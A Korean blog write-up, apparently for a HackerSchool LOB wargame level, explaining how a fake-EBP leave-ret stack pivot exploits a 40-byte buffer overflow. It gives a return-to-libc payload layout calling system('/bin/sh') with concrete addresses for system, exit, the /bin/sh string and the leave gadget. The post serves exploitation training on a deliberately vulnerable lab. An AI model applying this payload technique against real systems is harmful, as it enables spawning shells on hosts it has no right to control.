※소스분석
buffer 40
스택영역과 라이브러리 영역에 쉘코드를 올릴수없음
argv[1] 은 48까지 입력할수있음
이 문제는 Fake ebp를 활용해 풀어야한다
Fake EBP란?
leave ret의 명령어 구성
Ret 영역에 leave ret 가젯을 넣어주면
leave mov esp ebp // mov esp ebp가 수행되면서 ebp가 esp로 들어감 -> esp가 ebp로 바뀜 ->
pop ebp // pop eip가 수행되면서 스택주소가 +4됨
ret pop eip // 조작해둔 leave가젯이 eip로 들어간다
jmp eip // leave 가젯으로 점프
leave mov esp ebp // ebp에 있는 +4 값이 esp로 들어감
pop ebp
ret pop eip
jmp eip // 조작해둔 +4값으로 점프함
페이로드를 작성해보자
AAAA + System + exit + /bin/sh + nop*24+ buffer + leave ret // 버퍼는 40
system 과 exit의 주소를 구해준다
system : 0x40058ae0
exit : 0x400391e0
/bin/sh 주소는 전해 구해놓은걸 쓰겠다. 0x400fbff9
leave : 0x80484df
buffer의 시작주소는 0xbffffa90 이다
'Hacking > LOB(RedHat)' 카테고리의 다른 글
HackerSchool LOB Level 18 (0) | 2015.09.30 |
---|---|
HackerSchool LOB Level 17 (0) | 2015.09.26 |
HackerSchool LOB Level 15 (0) | 2015.08.27 |
HackerSchool LOB Level 14 (0) | 2015.08.10 |
HackerSchool LOB Level 13 (0) | 2015.08.05 |